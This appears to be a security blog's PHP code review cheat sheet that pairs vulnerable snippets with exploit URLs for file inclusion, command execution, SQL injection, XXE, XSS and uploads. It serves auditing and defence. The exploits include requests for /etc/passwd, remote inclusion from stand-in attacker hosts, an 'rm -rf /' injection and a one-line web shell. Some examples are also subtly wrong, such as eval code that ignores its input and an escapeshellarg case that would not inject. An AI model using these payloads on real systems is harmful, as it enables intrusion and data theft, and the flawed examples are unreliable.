PHP Security Code Review Cheat Sheet

PHP Security Code Review Cheat Sheet

In today’s development landscape among our customers, it’s rare to encounter production PHP code. However, when we do, the story is always the same. Typically, such code is riddled with numerous high and critical-level vulnerabilities. Reviewing and testing this kind of code feels like being transported back in time — about 20 years — when all the systems were susceptible to a wide array of security vulnerabilities. With PHP, anything is possible, including gorgeous SQL injection vulnerabilities on login pages. It’s almost as though I had forgotten that such issues ever existed. In this article, I provide a brief overview of commonly vulnerable areas in PHP, along with examples and explanations of testing and code review practices.

PHP’s dynamic nature and extensive feature set facilitate rapid web development, but if not properly managed, they can also introduce significant security risks. This reference guide serves as a comprehensive cheat sheet—a list of bad security practices to look for in your code, along with methods to verify or observe these behaviors on live systems. In this guide, we explore common pitfalls ranging from unsafe file inclusions and file I/O operations to dangerous command execution functions and other insecure practices. Each section provides improved, real-world examples and exploit strings, equipping you with the tools needed to identify and address vulnerabilities during both code reviews and live system audits.

PHP Security Code Review Summary Table

IssueVulnerable Code ExampleExploit String
Dynamic File Inclusion (LFI)$page = $_GET['page']; include($page);/A.php?page=../../../../etc/passwd
Dynamic require_once Inclusion (LFI)require_once($_GET['file']);
require($_GET['file']);
/A.php?file=php://filter/convert.base64-encode/resource/index.php
Template Inclusion (LFI)$template = $_GET['template']; include("templates/" . $template . ".php");/A.php?template=../../../../etc/passwd%00
Language File Inclusion (LFI)$lang = $_GET['lang']; include("lang/" . $lang . ".php");/A.php?lang=../../../../etc/passwd%00
Remote File Inclusion (RFI)$page = $_GET['page']; include($page);/A.php?page=http://evil.com/shell.txt
File I/O: file_get_contents()$url = $_GET['url']; echo file_get_contents($url);/A.php?url=php://filter/convert.base64-encode/resource/index.php
File I/O: file()$file = $_GET['file']; $data = file($file);/A.php?file=php://filter/convert.base64-encode/resource/index.php
File I/O: readfile()$file = $_GET['file']; readfile($file);/A.php?file=file:///etc/passwd
File I/O: fopen() & fpassthru()$file = $_GET['file']; $h = fopen($file, 'r'); fpassthru($h);/A.php?file=php://filter/convert.base64-encode/resource/index.php
File I/O: virtual()$page = $_GET['page']; virtual($page);/A.php?page=http://attacker.com/malicious
File I/O: copy()$source = $_GET['src']; copy($source, 'localfile.txt');/A.php?src=ftp://attacker.com/malicious
Command Execution: eval()$code = $_GET['code']; eval("system('whoami');");/A.php?code=system('cat /etc/passwd')
Command Execution: assert()$assert = $_GET['assert']; assert("system('whoami')");/A.php?assert=system('cat /etc/passwd')
Command Execution: exec()$cmd = $_GET['cmd']; exec($cmd);/A.php?cmd=cat%20/etc/passwd
Command Execution: system()$cmd = $_GET['cmd']; system($cmd);/A.php?cmd=cat%20/etc/passwd
Command Execution: shell_exec()$cmd = $_GET['cmd']; echo shell_exec($cmd);/A.php?cmd=ls%20-la
Command Execution: passthru()$cmd = $_GET['cmd']; passthru($cmd);/A.php?cmd=uname%20-a
Command Execution: Backticks$command = $_GET['command']; echo \$command`;`/A.php?command=ls%20-la
Command Execution: pcntl_exec()$cmd = $_GET['cmd']; pcntl_exec($cmd);/A.php?cmd=whoami
Command Execution: popen()$cmd = $_GET['cmd']; $h = popen($cmd, 'r');/A.php?cmd=uname%20-a
Command Execution: proc_open()$cmd = $_GET['cmd']; proc_open($cmd, [STDIN,STDOUT,STDERR], $pipes);/A.php?cmd=whoami
Command Execution: preg_replace (/e modifier)preg_replace('/a/e', 'whoami', 'some string');/A.php?input=test
Command Execution: Escapeshell Misuse$arg = $_GET['arg']; system('ls ' . escapeshellarg($arg));/A.php?arg=.;rm%20-rf%20/
Command Execution: create_function()$code = $_GET['code']; $f = create_function('', $code); $f();/A.php?code=system('cat /etc/passwd')
Command Execution: Dynamic Function Call$func = $_GET['function']; $func('arg');/A.php?function=system&arg=cat%20/etc/passwd
Data Deserialization$data = unserialize($_GET['data']);/A.php?data=O:8:"MyClass":0:{}
Open Redirectionheader("Location: " . $_GET['url']); exit();/Aect.php?url=https://malicious.com
Insecure extract()extract($_GET); echo "Welcome, " . $username;/A.php?username=<script>alert(1)</script>
SQL Injection$username = $_GET['username']; $query = "SELECT * FROM users WHERE username = '$username'";/A.php?username=' OR '1'='1
XML Parsing (XXE)$xml = simplexml_load_file($_GET['xml_file']);/A.php?xml_file=path/to/malicious.xml
XSS: Direct Outputecho $_GET['comment'];/A.php?comment=<script>alert('XSS1')</script>
XSS: HTML Attribute<input type="text" value="<?php echo $_GET['username']; ?>">/A.php?username="><script>alert('XSS2')</script>
XSS: Reflected<div><?php echo $_GET['message']; ?></div>/A.php?message=<img src=x onerror=alert('XSS3')>
XSS: JavaScript Injection<script>var data = "<?php echo $_GET['data']; ?>";</script>/A.php?data=";alert('XSS4');//
XSS: Stored$comment = get_comment_from_db(); echo "<p>$comment</p>";<script>alert('XSS5')</script>

Common Security Issues

1. File Inclusion Patterns

Dynamic file inclusion is one of the most common vulnerabilities in PHP. Improperly validated file paths can lead to Local File Inclusion (LFI) or Remote File Inclusion (RFI), which may allow an attacker to read sensitive files or execute arbitrary code.

1.1 Static Inclusions (Generally Safe)

// Safe usage: Files are hard-coded.
include('constant.php');
include_once('constant.php');
require('constant.php');

1.2 Dynamic Inclusions (LFI Examples)

// Vulnerable Code: The file to include is directly controlled by user input.
$page = $_GET['page'];
include($page);
// Exploit Example:
// http://example.com/index.php?page=../../../../etc/passwd
// Vulnerable Code: Including a module based on unsanitized user input.
$module = $_GET['module'];
require_once($module);
// Exploit Example:
// http://example.com/index.php?module=php://filter/convert.base64-encode/resource=index.php
// Vulnerable Code: Combining a static directory with a dynamic filename.
$file = $_GET['file'];
include(__DIR__ . '/' . $file);
// Exploit Example:
// http://example.com/index.php?file=../../../../etc/passwd
// Vulnerable Code: Using a dynamic value in require_once without validation.
require_once($_GET['file']);
// Exploit Example:
// http://example.com/index.php?file=php://filter/convert.base64-encode/resource=index.php
// Dynamic Template Inclusion
$template = $_GET['template'];
include("templates/" . $template . ".php");
// Exploit Example:
// http://example.com/index.php?template=../../../../etc/passwd%00
// Dynamic Language File Inclusion
$lang = $_GET['lang'];
include("lang/" . $lang . ".php");
// Exploit Example:
// http://example.com/index.php?lang=../../../../etc/passwd%00

1.3 Remote File Inclusion (RFI) Examples

Note: RFI vulnerabilities require that PHP’s allow_url_include setting is enabled.

// Vulnerable Code: Including a file from a remote URL based on user input.
$page = $_GET['page'];
include($page);
// Exploit Example:
// http://example.com/index.php?page=http://evil.com/shell.txt
// Vulnerable Code: Combining a static directory with user-supplied input (if misconfigured for remote URLs).
$file = $_GET['file'];
include(__DIR__ . '/' . $file);
// Exploit Example (if remote URLs are allowed):
// http://example.com/index.php?file=http://evil.com/shell.txt

1.4 Special Considerations

  • Null Byte Injection:
    In older PHP versions or misconfigured environments, %00 (null byte) can be used to truncate strings, bypassing file extension checks.
    Exploit Example:
    http://example.com/index.php?template=../../../../etc/passwd%00
  • Protocol Wrappers:
    file:// — Accessing local filesystem
    http:// — Accessing HTTP(s)
    URLs ftp:// — Accessing FTP(s) URLs
    php:// — Accessing various I/O streams
    zlib:// — Compression Streams
    data:// — Data (RFC 2397)
    glob:// — Find pathnames matching pattern
    phar:// — PHP Archive
    ssh2:// — Secure Shell 2
    rar:// — RAR
    ogg:// — Audio streams
    expect:// — Process Interaction Streams
    https://www.php.net/manual/en/wrappers.php

2. File I/O Functions and Protocol Wrappers

Common Functions & Examples

// Reading content from a user-supplied URL or file.
$url = $_GET['url'];
echo file_get_contents($url);
// Exploit Example (using php://filter to reveal source):
// http://example.com/index.php?url=php://filter/convert.base64-encode/resource=index.php
// Reading a file into an array without sanitization.
$file = $_GET['file'];
$data = file($file);
print_r($data);
// Exploit Example:
// http://example.com/index.php?file=php://filter/convert.base64-encode/resource=index.php
// Outputting file contents using readfile() based on user input.
$file = $_GET['file'];
readfile($file);
// Exploit Example:
// http://example.com/index.php?file=file:///etc/passwd
// Opening a file with fopen() and streaming its content.
$file = $_GET['file'];
$handle = fopen($file, 'r');
fpassthru($handle);
// Exploit Example:
// http://example.com/index.php?file=php://filter/convert.base64-encode/resource=index.php
// Including remote content via virtual() based on user input.
$page = $_GET['page'];
virtual($page);
// Exploit Example:
// http://example.com/index.php?page=http://attacker.com/malicious
// Copying a file from a user-supplied source.
$source = $_GET['src'];
copy($source, 'localfile.txt');
// Exploit Example:
// http://example.com/index.php?src=ftp://attacker.com/malicious

3. Command Execution Functions

PHP provides several functions to execute system commands. If unsanitized user input reaches these functions, it can lead to Remote Code Execution (RCE).

3.1 Code Evaluation Functions

// Using eval() to execute user-supplied code.
$code = $_GET['code'];
eval("system('whomi');");
// Exploit Example (Windows):
// http://example.com/index.php?code=system('whoami');
// For Unix-like systems, replace "whoami" with a benign command like "cat /etc/passwd"
// Using assert() to evaluate a string as PHP code.
$assertion = $_GET['assert'];
assert("system('whoami')");
// Exploit Example (Windows):
// http://example.com/index.php?assert=system('whoami')
// For Unix-like systems, try: system('cat /etc/passwd')

3.2 Direct Command Execution Functions

// Using exec() with unsanitized input.
$cmd = $_GET['cmd'];
exec($cmd);
// Exploit Example (Unix):
// http://example.com/index.php?cmd=cat%20/etc/passwd
// Using system() with unsanitized input.
$cmd = $_GET['cmd'];
system($cmd);
// Exploit Example (Unix):
// http://example.com/index.php?cmd=cat%20/etc/passwd
// Using shell_exec() to execute a shell command.
$cmd = $_GET['cmd'];
echo shell_exec($cmd);
// Exploit Example (Unix):
// http://example.com/index.php?cmd=ls%20-la
// Using passthru() to execute a command.
$cmd = $_GET['cmd'];
passthru($cmd);
// Exploit Example (Unix):
// http://example.com/index.php?cmd=uname%20-a

3.3 Alternative Command Execution Methods

// Using the backtick operator for command execution.
$command = $_GET['command'];
echo `$command`;
// Exploit Example (Unix):
// http://example.com/index.php?command=ls%20-la
// Using pcntl_exec() to replace the current process.
$cmd = $_GET['cmd'];
pcntl_exec($cmd);
// Exploit Example (Windows):
// http://example.com/index.php?cmd=whoami
// On Unix-like systems, consider: /bin/ls or /usr/bin/id
// Using popen() to open a process pointer.
$cmd = $_GET['cmd'];
$handle = popen($cmd, 'r');
// Exploit Example (Unix):
// http://example.com/index.php?cmd=uname%20-a
// Using proc_open() to execute a command and manage I/O.
$cmd = $_GET['cmd'];
proc_open($cmd, [STDIN, STDOUT, STDERR], $pipes);
// Exploit Example (Unix):
// http://example.com/index.php?cmd=whoami

3.4 Deprecated and Misused Patterns

// Using preg_replace() with the /e modifier (deprecated).
preg_replace('/a/e', 'whoami', 'some string');
// Exploit Example (Windows):
// http://example.com/index.php?input=test
// Misuse of escapeshellcmd() and escapeshellarg() when concatenating unsanitized input.
$arg = $_GET['arg'];
system('ls ' . escapeshellarg($arg));
// Exploit Example (illustrative):
// http://example.com/index.php?arg=.;rm%20-rf%20/
// Using create_function() to dynamically create a function.
$code = $_GET['code'];
$func = create_function('', $code);
$func();
// Exploit Example (Windows):
// http://example.com/index.php?code=system('whoami')
// For Unix-like systems, try: system('cat /etc/passwd')
// Dynamic function calls based on user input.
$func = $_GET['function'];
$func('arg');
// Exploit Example (Unix):
// http://example.com/index.php?function=system&arg=cat%20/etc/passwd

4. Additional Insecure Coding Practices

4.1 Insecure Data Deserialization

// Unserializing user-supplied data without validation.
$data = unserialize($_GET['data']);
// Exploit Example (PHP Object Injection):
// http://example.com/index.php?data=O:8:"MyClass":0:{}

4.2 Insecure File Upload Handling

// Handling file uploads without validating file type or name.
move_uploaded_file($_FILES['file']['tmp_name'], "uploads/" . $_FILES['file']['name']);
// Exploit Example:
// An attacker uploads a PHP shell (e.g., shell.php containing: <?php system($_GET['cmd']); ?>)
// Then accesses it via: http://example.com/uploads/shell.php?cmd=cat%20/etc/passwd

4.3 Open Redirection

// Redirecting users based on unsanitized input.
header("Location: " . $_GET['url']);
exit();
// Exploit Example:
// http://example.com/redirect.php?url=https://malicious.com

4.4 Use of Variable Variables

// Dynamically assigning variable names from user input.
$var = $_GET['var'];
$$var = $_GET['value'];
echo $$var;
// Exploit Example:
// http://example.com/index.php?var=admin&value=hacked

4.6 SQL Injection (Insecure SQL Query Building)

// Building a SQL query with unsanitized user input.
$username = $_GET['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
mysql_query($query);
// Exploit Example:
// http://example.com/index.php?username=' OR '1'='1

4.7 Insecure XML Parsing (XXE)

// Loading XML from user input without disabling external entities.
$xml = simplexml_load_file($_GET['xml_file']);
echo $xml->asXML();
// Exploit Example:
// http://example.com/index.php?xml_file=path/to/malicious.xml
// (Malicious XML may define external entities to access local files.)

5. Cross-Site Scripting (XSS) Vulnerabilities

XSS vulnerabilities occur when unsanitized user input is output to the browser. Use proper encoding/escaping methods to prevent script injection.

5.1 Direct Output of Unescaped User Input

// Directly echoing unsanitized user input.
echo $_GET['comment'];
// **Exploit Example:**
// http://example.com/index.php?comment=<script>alert('XSS1')</script>

5.2 Embedding User Input in HTML Attributes

<!-- User input is embedded in an HTML attribute without proper escaping. -->
<input type="text" value="<?php echo $_GET['username']; ?>">
<!-- **Exploit Example:** -->
<!-- http://example.com/index.php?username="><script>alert('XSS2')</script> -->

5.3 Reflected XSS via URL Parameters

// Outputting a URL parameter directly into the page.
<div><?php echo $_GET['message']; ?></div>
// **Exploit Example:**
// http://example.com/index.php?message=<img src=x onerror=alert('XSS3')>

5.4 Injecting User Data into JavaScript Context

<!-- Inserting user input into inline JavaScript without proper encoding. -->
<script>
  var userData = "<?php echo $_GET['data']; ?>";
  document.write(userData);
</script>
<!-- **Exploit Example:** -->
<!-- http://example.com/index.php?data=";alert('XSS4');//  -->

5.5 Stored XSS in User-Generated Content

// Displaying a stored comment without proper escaping.
$comment = get_comment_from_db(); // Returns unsanitized user content.
echo "<p>$comment</p>";
// **Exploit Example:**
// - An attacker submits a comment containing:
//   ```html
//   <script>alert('XSS5')</script>
//  When displayed, the script executes in the victim’s browser.

5.6 Insecure Use of extract()

// Importing GET parameters directly into the symbol table.
extract($_GET);
echo "Welcome, " . $username;
// Exploit Example (Potential XSS):
// http://example.com/index.php?username=<script>alert(1)</script>

External Resources

Semgrep (SAST) – how to install and run

semgrep scan --config "p/php" -o ./../php.sarif --sarif ./ 
or
semgrep scan --config "p/php" -o ./../php.sarif --sarif ./ --max-target-bytes 1111111111111111 --no-git-ignore 

Leave a Reply

Your email address will not be published. Required fields are marked *